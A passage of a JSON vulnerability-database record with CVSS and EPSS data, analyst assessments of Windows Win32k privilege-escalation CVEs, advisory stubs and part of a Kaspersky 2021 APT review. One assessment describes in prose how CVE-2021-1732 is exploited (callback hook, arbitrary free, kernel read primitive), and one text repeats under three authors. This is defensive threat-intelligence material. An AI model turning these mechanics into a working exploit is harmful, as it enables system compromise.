["TALOSBLOG:D9C5C0AB436B4386A2A294DC24E5D966"]}, {"type": "thn", "idList": ["THN:04C2B4D392A1C67EF52FAF0D2CFA9E55", "THN:0C87C22B19E7073574F7BA69985A07BF", "THN:F163C7AB35BEF8E28924E14B02752181"]}, {"type": "threatpost", "idList": ["THREATPOST:0122DA221AF8A2C80D492879AD032E59", "THREATPOST:0C6C1B17AFD30FEDE0604F98C6C93413", "THREATPOST:1502920D4F50B0D128077B515815C023", "THREATPOST:1CC1606323D9ADB7A8209EBEC63F6728", "THREATPOST:63188D8C89FE469962D4F460E46755BC", "THREATPOST:872ADCA7D6780794C132A451E86B4086", "THREATPOST:9235CC6F1DCCA01B571B8693E5F7B880", "THREATPOST:E1C629434DE943EAA7BD57B1F6EEA7E2", "THREATPOST:FFC3DB875D4337781CF78C0D4B39F0E0"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:C9F6DD38959C2193331C83CA846C0A71"]}, {"type": "wallarmlab", "idList": ["WALLARMLAB:C5940EBF622709A929825B8B12592EF5"]}, {"type": "zdt", "idList": ["1337DAY-ID-37433"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2019-0797", "epss": "0.000420000", "percentile": "0.056980000", "modified": "2023-03-16"}, {"cve": "CVE-2021-1732", "epss": "0.003950000", "percentile": "0.692850000", "modified": "2023-03-17"}, {"cve": "CVE-2021-28310", "epss": "0.000430000", "percentile": "0.075700000", "modified": "2023-03-17"}], "vulnersScore": -0.3}, "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1659994789, "score": 1684007085, "epss": 1679070268}, "_internal": {"score_hash": "e97144ca15e081eaf8d018f9b26060fc"}}

{"attackerkb": [{"lastseen": "2023-05-27T14:41:28", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-27072.\n\n \n**Recent assessments:** \n \n**ccondon-r7** at April 13, 2021 8:41pm UTC reported:\n\nAh, another day, another Win32k privilege escalation used in the wild. [Securelist has a good write-up](<https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/>) on this bug, which they discovered because it was used in a BITTER APT zero-day attack in (it sounds like) conjunction with [CVE-2021-1732](<https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e>) (there\u2019s a Metasploit module for the second vuln).\n\nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-13T00:00:00", "type": "attackerkb", "title": "CVE-2021-28310", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732", "CVE-2021-27072", "CVE-2021-28310"], "modified": "2021-04-17T00:00:00", "id": "AKB:007C4393-6621-4656-8BFD-D0CFE64DCD65", "href": "https://attackerkb.com/topics/pKKVzHnVRA/cve-2021-28310", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-20T20:12:44", "description": "An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka \u2018Win32k Elevation of Privilege Vulnerability\u2019. This CVE ID is unique from CVE-2019-0808.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at November 22, 2020 2:41am UTC reported:\n\nReported as exploited in the wild as part of Google\u2019s 2020 0day vulnerability spreadsheet they made available at <https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=1869060786>. Original tweet announcing this spreadsheet with the 2020 findings can be found at <https://twitter.com/maddiestone/status/1329837665378725888>\n\nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "edition": 2, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2019-04-09T00:00:00", "type": "attackerkb", "title": "CVE-2019-0797", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0797", "CVE-2019-0808"], "modified": "2020-07-24T00:00:00", "id": "AKB:51821330-42A6-44EA-85F5-2E6F69FDAFC7", "href": "https://attackerkb.com/topics/q6gZ1Shavz/cve-2019-0797", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-04T22:46:50", "description": "An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka \u2018Win32k Elevation of Privilege Vulnerability\u2019. This CVE ID is unique from CVE-2019-0797.\n\n \n**Recent assessments:** \n \n**tekwizz123** at February 21, 2020 7:34pm UTC reported:\n\nWrote up a technical analysis of this bug for Exodus Intelligence at <https://blog.exodusintel.com/2019/05/17/windows-within-windows/>. The bug itself is relatively easy to trigger if you understand how Window messages work, but is a bit tricky to understand if your not familiar with this. Exploit reliability is high unless exploiting from the Chrome sandbox; in these scenarios it is still possible to exploit the target on older versions of Windows (Windows 7 and prior) however we did find that there was some interesting behavior going on with the Chrome sandbox escape shellcode as while it would disassociate the current process with the Chrome sandbox job (and henceforth the job\u2019s limitations), it would occasionally trigger APC_INDEX_MISMATCH errors under certain conditions, particularly if the target user was an administrator.\n\nTLDR: This exploit does takes a bit of knowledge of Win32k.sys and Windows internals to exploit, but provided an attacker has this knowledge, or has access to the public exploit, they can easily escalate their privileges to a SYSTEM user from any privilege level.\n\n**gwillcox-r7** at June 11, 2020 5:58pm UTC reported:\n\nWrote up a technical analysis of this bug for Exodus Intelligence at <https://blog.exodusintel.com/2019/05/17/windows-within-windows/>. The bug itself is relatively easy to trigger if you understand how Window messages work, but is a bit tricky to understand if your not familiar with this. Exploit reliability is high unless exploiting from the Chrome sandbox; in these scenarios it is still possible to exploit the target on older versions of Windows (Windows 7 and prior) however we did find that there was some interesting behavior going on with the Chrome sandbox escape shellcode as while it would disassociate the current process with the Chrome sandbox job (and henceforth the job\u2019s limitations), it would occasionally trigger APC_INDEX_MISMATCH errors under certain conditions, particularly if the target user was an administrator.\n\nTLDR: This exploit does takes a bit of knowledge of Win32k.sys and Windows internals to exploit, but provided an attacker has this knowledge, or has access to the public exploit, they can easily escalate their privileges to a SYSTEM user from any privilege level.\n\n**busterb** at September 17, 2019 6:03pm UTC reported:\n\nWrote up a technical analysis of this bug for Exodus Intelligence at <https://blog.exodusintel.com/2019/05/17/windows-within-windows/>. The bug itself is relatively easy to trigger if you understand how Window messages work, but is a bit tricky to understand if your not familiar with this. Exploit reliability is high unless exploiting from the Chrome sandbox; in these scenarios it is still possible to exploit the target on older versions of Windows (Windows 7 and prior) however we did find that there was some interesting behavior going on with the Chrome sandbox escape shellcode as while it would disassociate the current process with the Chrome sandbox job (and henceforth the job\u2019s limitations), it would occasionally trigger APC_INDEX_MISMATCH errors under certain conditions, particularly if the target user was an administrator.\n\nTLDR: This exploit does takes a bit of knowledge of Win32k.sys and Windows internals to exploit, but provided an attacker has this knowledge, or has access to the public exploit, they can easily escalate their privileges to a SYSTEM user from any privilege level.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 2\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2019-04-09T00:00:00", "type": "attackerkb", "title": "Win32k Elevation of Privilege Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0797", "CVE-2019-0808"], "modified": "2020-02-21T00:00:00", "id": "AKB:2F0F7D23-7B28-4849-B0FC-3B12AB190D21", "href": "https://attackerkb.com/comments/1a537070-395b-43eb-a0ee-3ffc9d2b9bd3", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-11T11:17:46", "description": "Windows Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-1698.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at February 10, 2021 10:03pm UTC reported:\n\nA very interesting vulnerability in win32kfull.sys on Windows 10 devices up to and including 20H2. Although the exploit in the wild specifically targeted Windows 10 v1709 to Windows 10 v1909, as noted at <https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/>, the researchers noted that the vulnerability could be modified to work on Windows 20H2 with minor modifications.\n\nFrom my perspective this is rather significant, particularly given this is a win32kfull.sys bug we are talking about here. Most of the primitives that made win32k exploitation easier were entirely wiped out by Microsoft which prompted a lot of researchers who previously spoke publicly about such primitives in conference talks and similar to go quiet. Whilst rumor has been that there were other primitives one could use for exploitation, they were considered closely guarded secrets due to the difficulty in finding them and the fact that Microsoft would be likely to patch them very quickly.\n\nThe new primitive that is used here appears to be setting tagMenuBarInfo.rcBar.left and tagMenuBarInfo.rcBar.top and then calling GetMenuBarInfo(), which allows one to perform an arbitrary read in kernel memory. This has not been discussed before but is similar to another concepted discussed in the paper \u201cLPE vulnerabilities exploitation on Windows 10 Anniversary Update\u201d at ZeroNights which mentioned using two adjacent Windows and then setting the cbwndExtra field of the first window to a large value to allow the first window to set all of the properties of the second window. By chaining this together the attacker could achieve an arbitrary read and write in kernel memory.\n\nThe bug itself stems from a xxxClientAllocWindowClassExtraBytes() callback within win32kfull!xxxCreateWindowEx. Specifically when xxxCreateWindowEx() creates a window object with a cbwndExtra field set, aka it has extra Window bytes, it will perform a xxxClientAllocWindowClassExtraBytes() callback to usermode to allocate the extra bytes for the Window.\n\nYou may be wondering why such callbacks are needed. Well a long time ago Windows used to handle all its graphics stuff in kernel mode, but then people realized that was too slow given increasing demands for speed, so they made most of the code operate in usermode with key stuff handled by kernel mode. This lead to a big rift and is the reason we have callbacks. Thats the nutshell version anyway but go read up on <http://mista.nu/research/mandt-win32k-slides.pdf> and <https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf> if you want to learn more. Its a fascinating read :)\n\nAnyway back on topic. Since xxxClientAllocWindowClassExtraBytes() is a callback that is under the attackers controller, the attacker can set a hook that will trigger when a xxxClientAllocWindowClassExtraBytes() callback is made and call NtUserConsoleControl() with the handle of the window that is currently being operated on. This will end up calling xxxConsoleControl() in kernel mode which will set *((tagWND+0x28)+0x128) to an offset, and will AND the flag at *((tagWND+0x28) + 0xE8) with 0x800 to indicate that the value of the WndExtra member is an offset from the base address of RtlHeapBase. Unfortunately, whatever value is returned by the hooked xxxClientAllocWindowClassExtraBytes() callback (aka whatever value the attacker chooses) will be used as the value of WndExtra, since remember we are meant to be allocating the address of this field at the time due to the earlier xxxCreateWindowEx() call needing to allocate memory for WndExtra.\n\nOnce this is done, the callback will be completed, execution will return to usermode, and a call to DestroyWindow() will be made from usermode. This will cause xxxDestroyWindow() to be called in kernel mode which will call xxxFreeWindow(), which will check if *((tagWND+0x28) + 0xE8) has the flag designated by 0x800 set, which it will due to the alterations made by xxxConsoleControl(). This will then result in a call to RtlFreeHeap() which will attempt to free an address designated by RtlHeapBase + offset, where offset is the value of WndExtra (which is taken from the xxxClientAllocWindowClassExtraBytes() callback and therefore completely controlled by the attacker).\n\nThis subsequently results in the attacker being able to free memory at an arbitrary address in memory.\n\nI\u2019ll not dive into a full detailed analysis of the rest of the exploitation steps as the article at <https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/> is very comprehensive but I will say from what I\u2019ve read there, there is enough detail that people of a decent skill level could probably recreate this exploit. It certainly isn\u2019t an easy exploit to recreate but the exploit goes into a lot of detail about the various mitigation bypasses that were used to make this exploit possible, which could help an attacker more readily recreate this bug.\n\nAgain, this exploit was exploited in the wild so it is possible for this bug to be recreated, it just might take some time for people to work out a few of the specifics needed to get a working exploit. If you are running Windows 10, it is highly advised to upgrade as soon as possible: everything I am reading here points to signs that this will be weaponized within the coming few weeks or months.\n\nAdditionally it should be noted that this exploit was noted to be capable of escaping Microsoft IE\u2019s sandbox (but not Google Chrome\u2019s) so if you are running Microsoft IE within your environment, its even more imperative that you patch this issue to prevent an attacker from combining this with an IE 0day and conducting a drive by attack against your organization, whereby simply browsing a website could lead to attackers gaining SYSTEM level privileges against affected systems.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 3\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-02-25T00:00:00", "type": "attackerkb", "title": "CVE-2021-1732", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1698", "CVE-2021-1732"], "modified": "2021-03-04T00:00:00", "id": "AKB:DFA2540D-E431-4CDE-B67A-7EA3F2B87A74", "href": "https://attackerkb.com/topics/7eGGM4Xknz/cve-2021-1732", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-09-07T18:30:04", "description": "Win32k Elevation of Privilege Vulnerability. This CVE ID is unique from CVE-2022-21887.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at January 18, 2022 4:35pm UTC reported:\n\nLooks like this is a LPE in win32k that is being exploited in the wild according to Microsoft to let attackers escalate their privileges to SYSTEM. Attack complexity on this is high which is understandable given the history of win32k and the complexities regarding its architecture which was built before modern security mitigations were implemented. With that being said though the finder of this bug, at <https://twitter.com/b2ahex/status/1481233350840893442>, notes that exploitation is easy and that this is a patch bypass for CVE-2021-1732, which was a window object type confusion leading to an OOB (out-of-bounds) write as noted by McAfee\u2019s technical writeup at <https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/technical-analysis-of-cve-2021-1732/>.\n\nOf particular note here is that they credit Big CJTeam of Tianfu Cup and RyeLv aka @b2ahex on Twitter for finding this vulnerability. They note that this was exploited in the wild but the mention of Tianfu Cup is interesting as it suggests this was also reported to China\u2019s government via the Chinese Tianfu Cup hacking competition.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 3\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-08T00:00:00", "type": "attackerkb", "title": "CVE-2022-21882", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732", "CVE-2022-21882", "CVE-2022-21887"], "modified": "2022-02-08T00:00:00", "id": "AKB:9E1E5A73-8C4D-4A6A-96A5-14A9041AA2CB", "href": "https://attackerkb.com/topics/KBiVbKrlyU/cve-2022-21882", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:33:33", "description": "An elevation of privilege vulnerability exists in Microsoft Windows. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-13T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Win32k Elevation of Privilege (CVE-2021-28310)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28310"], "modified": "2021-04-13T00:00:00", "id": "CPAI-2021-0223", "href": "", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-16T19:34:15", "description": "An elevation of privilege vulnerability exists in Microsoft Windows. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-09T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Win32k Elevation of Privilege (CVE-2021-1732)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732"], "modified": "2021-02-09T00:00:00", "id": "CPAI-2021-0032", "href": "", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-17T11:23:06", "description": "An elevation of privilege vulnerability exists in Microsoft Windows. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2019-03-12T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Win32k Elevation of Privilege (CVE-2019-0797)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0797"], "modified": "2019-03-12T00:00:00", "id": "CPAI-2019-0372", "href": "", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "securelist": [{"lastseen": "2021-11-30T10:36:53", "description": "![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/29150529/ksb-2021_APT-review-year-990x400.jpg)\n\nIn the Global Research and Analysis Team at Kaspersky, we track the ongoing activities of more than 900 advanced threat actors and activity clusters; you can find our quarterly overviews [here](<https://securelist.com/apt-trends-report-q1-2021/101967/>), [here](<https://securelist.com/apt-trends-report-q2-2021/103517/>) and [here](<https://securelist.com/apt-trends-report-q3-2021/104708/>)[.](<https://securelist.com/apt-trends-report-q3-2021/104708/>) For this annual review, we have tried to focus on what we consider to be the most interesting trends and developments of the last 12 months. This is based on our visibility in the threat landscape and it's important to note that no single vendor has complete visibility into the activities of all threat actors.\n\n## Private sector vendors play a significant role in the threat landscape\n\nPossibly the biggest story of 2021, an investigation by the Guardian and 16 other media organizations, published in July, suggested that over 30,000 human rights activists, journalists and lawyers across the world may have been targeted using Pegasus. The report, called [Pegasus Project](<https://www.amnesty.org/en/latest/press-release/2021/07/the-pegasus-project/>), alleged that the software uses a variety of exploits, including several iOS zero-click zero-days. Based on forensic analysis of numerous mobile devices, Amnesty International's Security Lab found that the software was repeatedly used in an abusive manner for surveillance. The list of targeted individuals includes 14 world leaders. Later that month, [representatives from the Israeli government visited the offices of NSO](<https://www.theguardian.com/news/2021/jul/29/israeli-authorities-inspect-nso-group-offices-after-pegasus-revelations>) as part of an investigation into the claims. And in October, India's Supreme Court commissioned a technical committee [to investigate whether the government had used Pegasus to spy on its citizens](<https://www.theregister.com/2021/10/29/india_nso_pegasus_probe/>). In November, Apple announced that it was taking [legal action against NSO Group](<https://www.theguardian.com/technology/2021/nov/23/apple-sues-israeli-cyber-firm-nso-group>) for developing software that targets its users with "malicious malware and spyware".\n\nDetecting infection traces from Pegasus and other advanced mobile malware is very tricky, and complicated by the security features of modern OSs such as iOS and Android. Based on our observations, this is further complicated by the deployment of non-persistent malware, which leaves almost no traces after reboot. Since many forensics frameworks require a device jailbreak, this results in the malware being removed from memory during the reboot. Currently, several methods can be used for detection of Pegasus and other mobile malware. [MVT (Mobile Verification Toolkit](<https://github.com/mvt-project/mvt>)) from Amnesty International is free, open source and allows technologists and investigators to inspect mobile phones for signs of infection. MVT is further boosted by a list of IoCs (indicators of compromise) collected from high profile cases and made available by Amnesty International.\n\n## Supply-chain attacks\n\nThere have been a number of high-profile supply-chain attacks in the last 12 months. Last December, it was reported that SolarWinds, a well-known IT managed services provider, had fallen victim to a sophisticated supply-chain attack. The company's Orion IT, a solution for monitoring and managing customers' IT infrastructure, was compromised. This resulted in the deployment of a custom backdoor named Sunburst on the networks of more than 18,000 SolarWinds customers, including many large corporations and government bodies, in North America, Europe, the Middle East and Asia.\n\nNot all supply-chain attacks have been that sophisticated. Early this year, an APT group that we track as BountyGlad compromised a certificate authority in Mongolia and replaced the digital certificate management client software with a malicious downloader. Related infrastructure was identified and used in multiple other incidents: this included server-side attacks on WebSphere and WebLogic services in Hong Kong, and Trojanized Flash Player installers on the client side.\n\nWhile investigating the artefacts of a supply-chain attack on an Asian government Certification Authority's website, we discovered a Trojanized package that dates back to June 2020. Unravelling that thread, we identified a number of post-compromise tools in the form of plugins that were deployed using PhantomNet malware, which were in turn delivered using the aforementioned Trojanized packages. Our analysis of these plugins revealed similarities with the previously analyzed CoughingDown malware.\n\nIn April 2021, Codecov, provider of code coverage solutions, publicly disclosed that its Bash Uploader script had been compromised and was distributed to users between January 31 and April 1. The Bash Uploader script is publicly distributed by Codecov and aims to gather information on the user's execution environments, collect code coverage reports and send the results to the Codecov infrastructure. This script compromise effectively constitutes a supply-chain attack.\n\nEarlier this year we discovered [Lazarus group](<https://securelist.com/tag/lazarus/>) campaigns using an updated DeathNote cluster. Our investigation revealed indications that point to Lazarus building supply-chain attack capabilities. In one case we found that the infection chain stemmed from legitimate South Korean security software executing a malicious payload; and in the second case, the target was a company developing asset monitoring solutions, an atypical victim for Lazarus. As part of the infection chain, Lazarus used a downloader named Racket, which they signed using a stolen certificate. The actor compromised vulnerable web servers and uploaded several scripts to filter and control the malicious implants on successfully breached victim machines.\n\nA previously unknown, suspected Chinese-speaking APT modified a fingerprint scanner software installer package on a distribution server in a country in East Asia. The APT modified a configuration file and added a DLL with a .NET version of a PlugX injector to the installer package. Employees of the central government in this country are required to use this biometric package to track attendance. We refer to this supply-chain incident and this particular PlugX variant as SmudgeX. The Trojanized installer appears to have been staged on the distribution server from March through June.\n\n## Exploiting vulnerabilities\n\nOn March 2, Microsoft reported a new APT actor named HAFNIUM, exploiting four zero-days in Exchange Server in what they called "limited and targeted attacks". At the time, Microsoft claimed that, in addition to HAFNIUM, several other actors were exploiting them as well. In parallel, Volexity also reported the same Exchange zero-days being in use in early 2021. According to Volexity's telemetry, some of the exploits in use are shared across several actors, besides the one Microsoft designates as HAFNIUM. Kaspersky telemetry revealed a spike in exploitation attempts for these vulnerabilities following the public disclosure and patch from Microsoft. During the first week of March, we identified approximately 1,400 unique servers that had been targeted, in which one or more of these vulnerabilities were used to obtain initial access. According to our telemetry, most exploitation attempts were observed for servers in Europe and the United States. Some of the servers were targeted multiple times by what appear to be different threat actors (based on the command execution patterns), suggesting the exploits had become available to multiple groups.\n\nWe also discovered a campaign active since mid-March targeting governmental entities in Europe and Asia using the same Exchange zero-day exploits. This campaign made use of a previously unknown malware family that we dubbed FourteenHi. Further investigation revealed traces of activity involving variants of this malware dating back a year. We also found some overlaps in these sets of activities with HAFNIUM in terms of infrastructure and TTPs as well as the use of ShadowPad malware during the same timeframe.\n\nOn January 25, the Google Threat Analysis Group (TAG) announced a state-sponsored threat actor had targeted security researchers. According to Google TAG's blog, this actor used highly sophisticated social engineering, approached security researchers through social media, and delivered a compromised Visual Studio project file or lured them to their blog where a Chrome exploit was waiting for them. On March 31, Google TAG released an update on this activity showing another wave of fake social media profiles and a company the actor set up mid-March. We confirmed that several infrastructures on the blog overlapped with [our previously published](<https://securelist.com/lazarus-threatneedle/100803/>) reporting about Lazarus group's ThreatNeedle cluster. Moreover, the malware mentioned by Google matched ThreatNeedle \u2013 malware that we have been tracking since 2018. While investigating associated information, a fellow external researcher confirmed that he was also compromised by this attack, sharing information for us to 